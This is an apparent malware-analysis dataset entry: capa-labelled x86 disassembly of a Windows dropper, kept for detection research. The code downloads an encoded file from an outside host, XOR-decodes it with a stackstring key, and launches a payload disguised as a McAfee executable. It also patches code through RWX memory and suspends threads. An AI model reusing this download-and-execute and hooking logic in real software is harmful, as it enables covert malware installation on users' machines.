joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436ba1
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0042c510
mov eax, dword [0x447648]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.00433a25
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x436cd4
push 2
push esi
push dword [ebp + 8]
call fcn.00433a25
add esp, 0xc
cmp eax, ebx
je 0x436cd4
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x436c74
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00433b50
push 0x8000
push dword [ebp + 8]
call fcn.004377a9
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x436c2a
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.0042f46f
add esp, 0xc
cmp eax, 0xffffffff
je 0x436c4a
sub edi, eax
test edi, edi
jg 0x436c22
jmp 0x436c62
call fcn.0042d57b
cmp dword [eax], 5
jne 0x436c5f
call fcn.0042d572
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.004377a9
pop ecx
pop ecx
jmp 0x436cbc
jge 0x436cbc
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00433a25
push dword [ebp + 8]
call fcn.00434b10
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x436cbc
call fcn.0042d572
mov dword [eax], 0xd
call fcn.0042d57b
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.00433a25
add esp, 0xc
mov eax, esi
pop edi
jmp 0x436cd6
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.0042b7bd
leave
ret
Function at 0x4011ed
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4012bd
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x4012ae
cmp dword [ebp - 0x20], 0x10
jb 0x40129d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x40129d
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x40129d
mov ecx, dword [esi]
test ecx, ecx
jne 0x40126b
push 0x200
push ecx
push dword [0x617e18]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x4012b6
jmp 0x40128f
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x40128f
shl eax, 3
push eax
push ecx
push 0
push dword [0x617e18]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x4012b6
shl dword [esi + 4], 1
mov dword [esi], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi]
mov edx, dword [ebp - 0x18]
mov dword [ecx + eax*4], edx
inc dword [esi + 8]
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x401228
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0053e66f
leave
ret

Function at 0x4012ca
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.004011ed
cmp dword [esi], edi
je 0x401327
push ebx
xor ebx, ebx
cmp dword [esi + 8], edi
jbe 0x401326
jmp 0x4012f0
xor edi, edi
mov eax, dword [esi]
push dword [eax + ebx*4]
push edi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x401320
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edi
call fcn.004010a6
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x4012ee
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x40132b
Capabilities:
Resume thread

Disassembly:
push edi
xor edi, edi
cmp dword [esi], edi
je 0x401372
cmp dword [esi + 8], edi
jbe 0x401362
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x40135b
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x401338
pop ebx
push dword [esi]
push 0
push dword [0x617e18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x401374
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
imul esi, esi, 0x2c
add esi, dword [0x618f90]
push edi
test byte [esi + 0x14], 1
mov edi, dword [esi]
push 5
pop eax
mov dword [ebp - 4], eax
je 0x40139e
sub edi, eax
mov dword [ebp - 4], 7
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [ebp - 4]
push edi
call ebx
test eax, eax
jne 0x4013b9
push 0xa
pop eax
jmp 0x4013f8
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x4013d4
mov eax, dword [esi]
mov word [eax], 0xf9eb
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push edi
call ebx
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4019a9
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x618f84]
jmp 0x4019b8
cmp dword [eax + 4], 0
jne 0x401a07
mov eax, dword [eax]
test eax, eax
jne 0x4019b0
push 0x40
push 0x3000
push 0x1000
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x401a0b
and dword [eax + 4], 0
and dword [eax + 8], 0
lea ecx, [eax + 0x20]
mov edx, ecx
sub edx, eax
push edi
mov edi, dword [eax + 4]
mov dword [ecx], edi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x4019e3
mov ecx, dword [0x618f84]
mov dword [eax], ecx
mov dword [0x618f84], eax
pop edi
test eax, eax
jne 0x401a0e
xor eax, eax
ret
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
inc dword [eax + 8]
mov dword [eax + 4], edx
mov eax, ecx
ret

Function at 0x4027f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40280b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402842
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40283e
jmp 0x402830
cmp esi, eax
jae 0x402842
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402830
cmp esi, eax
jb 0x402849
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40a250
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x40a26e
mov eax, dword [eax]
push eax
mov eax, dword [esi + 4]
push 0x2712
push eax
call fcn.0055a2a0
add esp, 0xc
push 0x8b
push str.Mozilla_5.0__iPad__U__CPU_OS_4_3_3_like_Mac_OS_X__en_us__AppleWebKit_533.17.9__KHTML__like_Gecko__Version_5.0.2_Mobile_8J2_Safari_6533.18.5
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x20], 0
call fcn.00409720
cmp dword [ebp - 0xc], 0x10
mov eax, dword [ebp - 0x20]
jae 0x40a2b0
lea eax, [ebp - 0x20]
mov ecx, dword [esi + 4]
push eax
push 0x2722
push ecx
call fcn.0055a2a0
mov edx, dword [esi + 4]
push 5
push 0x44
push edx
call fcn.0055a2a0
mov eax, dword [esi + 4]
push 1
push 0x34
push eax
call fcn.0055a2a0
mov ecx, dword [esi + 4]
push 1
push 0x63
push ecx
call fcn.0055a2a0
mov edx, dword [esi + 4]
push 0
push 0x2f
push edx
call fcn.0055a2a0
mov eax, dword [esi + 4]
push 0x40a120
push 0x4e2b
push eax
call fcn.0055a2a0
mov ecx, dword [esi + 4]
add esp, 0x48
push esi
push 0x2711
push ecx
call fcn.0055a2a0
mov edx, dword [esi + 4]
push 0
push 0x40
push edx
call fcn.0055a2a0
mov eax, dword [esi + 4]
push 0
push 0x51
push eax
call fcn.0055a2a0
add esp, 0x24
cmp dword [ebp - 0xc], 0x10
pop esi
jb 0x40a348
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0042e0da
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053e66f
mov esp, ebp
pop ebp
ret

Function at 0x41fa30
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push str.bvisdhhofhdfbxbcvrghg
push str.C:UsersPublicL78V3gUKHi1RgBU.dat
call fcn.0042da80
mov edi, eax
add esp, 8
test edi, edi
je 0x41fa77
push esi
push edi
call fcn.0042b980
add esp, 8
test eax, eax
je 0x41fa89
push edi
call fcn.0042df10
add esp, 4
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053e66f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push 0xffffffffffffffff
push edi
call fcn.0042b8e0
add esp, 0xc
test eax, eax
jne 0x41fa6e
push ebx
mov ebx, dword [ebp - 0x130]
xor esi, esi
test ebx, ebx
jle 0x41fad4
lea esp, [esp]
lea ecx, [ebp - 0x130]
push ecx
push esi
push edi
call fcn.0042b8e0
lea edx, [ebp - 0x12c]
push edx
push esi
push edi
call fcn.0042db60
inc esi
add esp, 0x18
cmp esi, ebx
jl 0x41fab0
push edi
call fcn.0042df10
add esp, 4
push str.C:UsersPublicL78V3gUKHi1RgBU.dat
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0053e66f
mov esp, ebp
pop ebp
ret
Function at 0x41fb20
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push esi
push edi
call fcn.005932d6
mov eax, dword [ebp + 0x10]
add esp, 8
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41fb40
sub eax, edx
push 0x5aeea4
push edi
mov dword [ebp - 8], eax
call fcn.0053fdb8
mov edi, eax
mov eax, dword [ebp + 0xc]
push 0x5a92ac
push eax
call fcn.0053fdb8
push edi
mov ebx, eax
call fcn.005406a7
add esp, 0x14
test eax, eax
jne 0x41fbbf
push edi
push 1
lea ecx, [ebp - 1]
push 1
push ecx
call fcn.0054068a
push edi
call fcn.005406a7
add esp, 0x14
test eax, eax
jne 0x41fbb2
mov eax, esi
cdq
idiv dword [ebp - 8]
mov eax, dword [ebp + 0x10]
push ebx
push 1
push 1
mov cl, byte [edx + eax]
xor byte [ebp - 1], cl
lea edx, [ebp - 1]
push edx
call fcn.0053fba1
add esp, 0x10
inc esi
push edi
call fcn.005406a7
add esp, 4
test eax, eax
je 0x41fb76
push edi
call fcn.0053fc88
push ebx
call fcn.0053fc88
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41fbe0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41fc72
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x41fc6b
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, edi
cmp dword [ebp - 0x20], 0x10
jb 0x41fc54
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
je 0x41fc54
mov ecx, dword [ebp + 8]
cmp dword [ebp - 0x14], ecx
jne 0x41fc54
push eax
push 0
push 0x1fffff
call edi
mov esi, eax
test esi, esi
je 0x41fc54
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x41fc20
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0053e66f
mov esp, ebp
pop ebp
ret
Function at 0x41fc90
Capabilities:
Enumerate threads
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41fd22
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x41fd1b
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, edi
cmp dword [ebp - 0x20], 0x10
jb 0x41fd04
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
je 0x41fd04
mov ecx, dword [ebp + 8]
cmp dword [ebp - 0x14], ecx
jne 0x41fd04
push eax
push 0
push 0x1fffff
call edi
mov esi, eax
test esi, esi
je 0x41fd04
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x41fcd0
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0053e66f
mov esp, ebp
pop ebp
ret
Function at 0x420420
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5970c9
mov eax, dword fs:[0]
push eax
sub esp, 0x198
mov eax, dword [0x60fdb4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 9
call fcn.00452505
call fcn.004014d5
xor ebx, ebx
test eax, eax
jne 0x420483
push 0x611828
push 0x41fe10
push 0x5aeee8
push 0x5aeecc
call fcn.004016d9
test eax, eax
jne 0x420483
push ebx
call fcn.004016c9
push 0x103
lea eax, [ebp - 0x123]
push ebx
push eax
mov byte [ebp - 0x124], bl
call fcn.0053f9d0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x124]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
push str.C:UsersPublic_
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.C:UsersPublic_
push 0x5a80e6
push 0x5af1b4
push str.INSTALL
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x20], 0x36313635
mov dword [ebp - 0x1c], 0x34676635
mov dword [ebp - 0x18], 0x3364316b
mov dword [ebp - 0x14], 0x687934
call fcn.0040a1c0
mov edi, 0xf
mov eax, str.C:UsersPublicUMlTo0g.dat
mov dword [ebp - 4], ebx
mov dword [ebp - 0x12c], edi
mov dword [ebp - 0x130], ebx
mov byte [ebp - 0x140], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x420530
sub eax, esi
push eax
push str.C:UsersPublicUMlTo0g.dat
lea ecx, [ebp - 0x140]
call fcn.00409720
push 0x68
push str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbWQ2clZCeTN3SFltQWpBP2U9dHU2SnhZ.dat
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 1
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x14c], ebx
mov byte [ebp - 0x15c], bl
call fcn.00409720
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x15c]
push ecx
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 2
call fcn.0040a360
mov esi, 0x10
cmp dword [ebp - 0x148], esi
jb 0x4205ab
mov edx, dword [ebp - 0x15c]
push edx
call fcn.0042e0da
add esp, 4
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x14c], ebx
mov byte [ebp - 0x15c], bl
mov byte [ebp - 4], bl
cmp dword [ebp - 0x12c], esi
jb 0x4205d7
mov eax, dword [ebp - 0x140]
push eax
call fcn.0042e0da
add esp, 4
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x12c], edi
mov dword [ebp - 0x130], ebx
mov byte [ebp - 0x140], bl
call fcn.0040a0c0
lea ecx, [ebp - 0x20]
push ecx
push str.C:UsersPublicL78V3gUKHi1RgBU.dat
push str.C:UsersPublicUMlTo0g.dat
call fcn.0041fb20
push str.C:UsersPublicL78V3gUKHi1RgBU.dat
push 0x60ad94
call fcn.0041fa30
add esp, 0x14
push ebx
push ebx
push 0x5a80e6
push str.C:UsersPublicMcAfee_tapisrv.exe
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], 0xffffffff
call fcn.0040a1f0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0053e66f
mov esp, ebp
pop ebp
ret
Function at 0x4297b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x4297be
xor eax, eax
pop ebp
ret
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push esi
not eax
cmp edx, 8
jb 0x42989d
mov esi, edx
shr esi, 3
push edi
jmp 0x4297e0
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x5b1d00]
add ecx, 8
sub edx, 8
dec esi
jne 0x4297e0
pop edi
test edx, edx
je 0x4298ba
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x5b1d00]
inc ecx
dec edx
jne 0x4298a1
not eax
pop esi
pop ebp
ret

Function at 0x4298c0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [edx]
movsx ecx, byte [ebp + 0xc]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5b1d00]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x5b1d00]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x429930
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xfffd
or eax, 2
mov edx, eax
xor edx, 1
imul edx, eax
mov al, byte [ebp + 0xc]
shr edx, 8
xor al, dl
mov edx, dword [esi]
push edi
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x5b1d00]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x5b1d00]
pop edi
mov dword [esi + 8], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x429ee0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, ebx
imul esi, dword [ebp + 0x10]
cmp byte [edi], 0
je 0x429f20
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x429f14
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x429f31
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.0053eee0
add dword [edi + 0x1c], esi
add esp, 0xc
pop edi
mov eax, esi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret
Function at 0x42a200
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 0
je 0x42a24b
cmp byte [esi + 1], 0
je 0x42a253
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebx
je 0x42a267
cmp byte [esi + 1], 0
je 0x42a25b
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
sub ebx, dword [esi + 0xc]
mov dword [ebp + 8], ebx
jmp 0x42a26f
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x42a225
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
mov dword [ebp + 8], 0
mov ebx, dword [ebp + 8]
jmp 0x42a26f
mov eax, dword [esi + 0x1c]
mov dword [ebp + 8], eax
mov ebx, eax
push edi
mov edi, 0xffff
mov dword [ebp - 4], edi
cmp ebx, edi
jae 0x42a281
mov dword [ebp - 4], ebx
mov edi, ebx
push 0x404
call fcn.00540cf8
add esp, 4
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x42a29f
pop edi
pop ebx
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x10], 0xffffffff
cmp edi, eax
jbe 0x42a3ad
jmp 0x42a2be
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 8]
add eax, 0x400
mov dword [ebp - 8], edi
cmp eax, edi
ja 0x42a2cd
mov dword [ebp - 8], eax
mov eax, ebx
sub eax, dword [ebp - 8]
sub ebx, eax
mov dword [ebp - 0x18], eax
cmp ebx, 0x404
jbe 0x42a2e4
mov ebx, 0x404
cmp byte [esi], 0
je 0x42a309
cmp byte [esi + 1], 0
je 0x42a3ad
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x42a30c
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebx
je 0x42a335
mov ecx, dword [ebp - 0xc]
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x42a330
mov byte [esi + 8], 1
mov eax, dword [ebp - 0x14]
jmp 0x42a35e
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x42a346
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
mov edx, dword [ebp - 0xc]
push edi
add ecx, eax
push ecx
push edx
call fcn.0053eee0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebx
cmp eax, 1
jne 0x42a3ad
lea eax, [ebx - 3]
test eax, eax
js 0x42a39b
mov edi, edi
mov ecx, dword [ebp - 0xc]
dec eax
cmp byte [eax + ecx], 0x50
jne 0x42a38f
cmp byte [eax + ecx + 1], 0x4b
jne 0x42a38f
cmp byte [eax + ecx + 2], 5
jne 0x42a38f
cmp byte [eax + ecx + 3], 6
je 0x42a395
test eax, eax
jns 0x42a370
jmp 0x42a39b
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42a3ad
mov edx, dword [ebp - 4]
cmp dword [ebp - 8], edx
jb 0x42a2b5
mov eax, dword [ebp - 0xc]
push eax
call fcn.00540cbe
mov eax, dword [ebp - 0x10]
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret